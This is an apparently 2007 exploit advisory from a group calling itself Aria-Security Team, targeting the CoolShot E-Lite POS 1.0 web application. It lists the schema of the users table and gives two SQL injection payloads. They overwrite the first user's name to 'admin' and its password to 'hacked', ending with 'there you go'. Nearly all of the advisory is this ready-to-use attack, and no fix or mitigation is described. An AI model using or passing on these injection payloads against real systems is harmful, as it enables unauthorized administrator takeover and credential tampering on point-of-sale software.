coolshot-sql.txt

`Aria-Security Team  
http://aria-security.net  
-------------------------------------  
CoolShot E-Lite POS 1.0  
http://coolshot.net/index.php/works/49-e-lite-pos  
  
Original Advisory @ http://aria-security.net/forum/showthread.php?p=1108#post1108  
Published on November 24 2007  
  
users.user_id  
users.user_name  
users.user_email  
users.user_admin  
users.user_auth  
users.user_pw  
  
  
use these two queries  
-1' UPDATE users set user_name= 'admin' Where(user_iD= '1');--  
-1' UPDATE users set user_pw= 'hacked' Where(user_iD= '1');--  
  
there you go with the user admin and password hacked.  
  
Credits Goes to Aria-Security Team  
A SPECIAL THANKS TO: AurA  
Regards,  
The-0utl4w  
`